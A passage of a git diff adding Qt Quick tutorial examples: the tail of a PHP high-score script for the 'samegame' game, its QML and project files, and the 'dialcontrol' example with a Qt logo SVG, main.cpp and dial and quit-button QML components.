+ . $name . "</name><gridSize>" . $grid . "</gridSize><seconds>"
+ . $time . "</seconds></record>\n");
+ echo "Your score has been recorded. Thanks for playing!";
+ if($ret == False)
+ echo "<br/> There was an error though, so don't expect to see that score again.";
+ }else{#Read high score list
+ #Now uses XSLT to display. So just print the file. With XML cruft added.
+ #Note that firefox at least won't apply the XSLT on a php file. So redirecting
+ $file = fopen("scores.xml", "w");
+ $ret = fwrite($file, '<?xml version="1.0" encoding="ISO-8859-1"?>' . "\n"
+ . '<?xml-stylesheet type="text/xsl" href="score_style.xsl"?>' . "\n"
+ . "<records>\n" . file_get_contents("score_data.xml") . "</records>\n");
+ if($ret == False)
+ echo "There was an internal error. Sorry.";
+ else
+ echo '<script type="text/javascript">window.location.replace("scores.xml")</script>';
+ }
+ echo "</body></html>";
+?>
diff --git a/examples/declarative/tutorials/samegame/samegame4/samegame.qml b/examples/declarative/tutorials/samegame/samegame4/samegame.qml
new file mode 100644
index 00000000..310968b2
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/samegame.qml
@@ -0,0 +1,115 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+import "content/samegame.js" as SameGame
+
+Rectangle {
+ id: screen
+
+ width: 490; height: 720
+
+ SystemPalette { id: activePalette }
+
+ Item {
+ width: parent.width
+ anchors { top: parent.top; bottom: toolBar.top }
+
+ Image {
+ id: background
+ anchors.fill: parent
+ source: "../shared/pics/background.jpg"
+ fillMode: Image.PreserveAspectCrop
+ }
+
+ Item {
+ id: gameCanvas
+ property int score: 0
+ property int blockSize: 40
+
+ anchors.centerIn: parent
+ width: parent.width - (parent.width % blockSize);
+ height: parent.height - (parent.height % blockSize);
+
+ MouseArea {
+ anchors.fill: parent; onClicked: SameGame.handleClick(mouse.x,mouse.y);
+ }
+ }
+ }
+
+ Dialog {
+ id: dialog
+ anchors.centerIn: parent
+ z: 100
+ }
+
+ //![0]
+ Dialog {
+ id: nameInputDialog
+ anchors.centerIn: parent
+ z: 100
+
+ onClosed: {
+ if (nameInputDialog.inputText != "")
+ SameGame.saveHighScore(nameInputDialog.inputText);
+ }
+ }
+ //![0]
+
+ Rectangle {
+ id: toolBar
+ width: parent.width; height: 30
+ color: activePalette.window
+ anchors.bottom: screen.bottom
+
+ Button {
+ anchors { left: parent.left; verticalCenter: parent.verticalCenter }
+ text: "New Game"
+ onClicked: SameGame.startNewGame()
+ }
+
+ Text {
+ id: score
+ anchors { right: parent.right; verticalCenter: parent.verticalCenter }
+ text: "Score: " + gameCanvas.score
+ }
+ }
+}
diff --git a/examples/declarative/tutorials/samegame/samegame4/samegame4.qmlproject b/examples/declarative/tutorials/samegame/samegame4/samegame4.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/samegame4/samegame4.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/tutorials/samegame/shared/pics/background.jpg b/examples/declarative/tutorials/samegame/shared/pics/background.jpg
new file mode 100644
index 00000000..903d395c
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/background.jpg
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/blueStar.png b/examples/declarative/tutorials/samegame/shared/pics/blueStar.png
new file mode 100644
index 00000000..ff9588f8
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/blueStar.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/blueStone.png b/examples/declarative/tutorials/samegame/shared/pics/blueStone.png
new file mode 100644
index 00000000..20e43c75
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/blueStone.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/greenStar.png b/examples/declarative/tutorials/samegame/shared/pics/greenStar.png
new file mode 100644
index 00000000..cd068547
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/greenStar.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/greenStone.png b/examples/declarative/tutorials/samegame/shared/pics/greenStone.png
new file mode 100644
index 00000000..b568a190
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/greenStone.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/redStar.png b/examples/declarative/tutorials/samegame/shared/pics/redStar.png
new file mode 100644
index 00000000..0a4dffe5
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/redStar.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/redStone.png b/examples/declarative/tutorials/samegame/shared/pics/redStone.png
new file mode 100644
index 00000000..36b09a26
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/redStone.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/star.png b/examples/declarative/tutorials/samegame/shared/pics/star.png
new file mode 100644
index 00000000..defbde53
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/star.png
Binary files differ
diff --git a/examples/declarative/tutorials/samegame/shared/pics/yellowStone.png b/examples/declarative/tutorials/samegame/shared/pics/yellowStone.png
new file mode 100644
index 00000000..b1ce7621
--- /dev/null
+++ b/examples/declarative/tutorials/samegame/shared/pics/yellowStone.png
Binary files differ
diff --git a/examples/declarative/tutorials/tutorials.pro b/examples/declarative/tutorials/tutorials.pro
new file mode 100644
index 00000000..0a82c1e7
--- /dev/null
+++ b/examples/declarative/tutorials/tutorials.pro
@@ -0,0 +1,5 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ extending
+
diff --git a/examples/declarative/tutorials/tutorials.qmlproject b/examples/declarative/tutorials/tutorials.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/tutorials/tutorials.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/dialcontrol/dialcontrol.png b/examples/declarative/ui-components/dialcontrol/dialcontrol.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/dialcontrol.png
Binary files differ
diff --git a/examples/declarative/ui-components/dialcontrol/dialcontrol.pro b/examples/declarative/ui-components/dialcontrol/dialcontrol.pro
new file mode 100644
index 00000000..61b2bae4
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/dialcontrol.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/dialcontrol
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEB1C54E8
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/dialcontrol
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/dialcontrol/dialcontrol.qmlproject b/examples/declarative/ui-components/dialcontrol/dialcontrol.qmlproject
new file mode 100644
index 00000000..ea017b1e
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/dialcontrol.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/dialcontrol"
+ }
+ JavaScriptFiles {
+ directory: "qml/dialcontrol"
+ }
+ ImageFiles {
+ directory: "qml/dialcontrol"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/dialcontrol/dialcontrol.svg b/examples/declarative/ui-components/dialcontrol/dialcontrol.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/dialcontrol.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/dialcontrol/main.cpp b/examples/declarative/ui-components/dialcontrol/main.cpp
new file mode 100644
index 00000000..84c8b279
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/dialcontrol/dialcontrol.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/Dial.qml b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/Dial.qml
new file mode 100644
index 00000000..fa97d0cc
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/Dial.qml
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: root
+ property real value : 0
+
+ width: 210; height: 210
+
+ Image { source: "background.png" }
+
+//! [needle_shadow]
+ Image {
+ x: 96
+ y: 35
+ source: "needle_shadow.png"
+ transform: Rotation {
+ origin.x: 9; origin.y: 67
+ angle: needleRotation.angle
+ }
+ }
+//! [needle_shadow]
+//! [needle]
+ Image {
+ id: needle
+ x: 98; y: 33
+ smooth: true
+ source: "needle.png"
+ transform: Rotation {
+ id: needleRotation
+ origin.x: 5; origin.y: 65
+ //! [needle angle]
+ angle: Math.min(Math.max(-130, root.value*2.6 - 130), 133)
+ Behavior on angle {
+ SpringAnimation {
+ spring: 1.4
+ damping: .15
+ }
+ }
+ //! [needle angle]
+ }
+ }
+//! [needle]
+//! [overlay]
+ Image { x: 21; y: 18; source: "overlay.png" }
+//! [overlay]
+}
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/QuitButton.qml b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/QuitButton.qml
new file mode 100644
index 00000000..c476b2b4
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/QuitButton.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+Image {
+ source: "quit.png"
+ scale: quitMouse.pressed ? 0.8 : 1.0
+ smooth: quitMouse.pressed
+ MouseArea {
+ id: quitMouse
+ anchors.fill: parent
+ anchors.margins: -10
+ onClicked: Qt.quit()
+ }
+}
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/background.png b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/background.png
new file mode 100644
index 00000000..75d555d7
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/background.png
Binary files differ
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle.png b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle.png
new file mode 100644
index 00000000..2d19f750
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle.png
Binary files differ
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle_shadow.png b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle_shadow.png
new file mode 100644
index 00000000..8d8a928c
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/needle_shadow.png
Binary files differ
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/overlay.png b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/overlay.png
new file mode 100644
index 00000000..3860a7b5
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/overlay.png
Binary files differ
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/quit.png b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/quit.png
new file mode 100644
index 00000000..b822057d
--- /dev/null
+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/content/quit.png
Binary files differ
diff --git a/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/dialcontrol.qml b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/dialcontrol.qml
new file mode 100644
index 00000000..2616508f
--- /dev/null
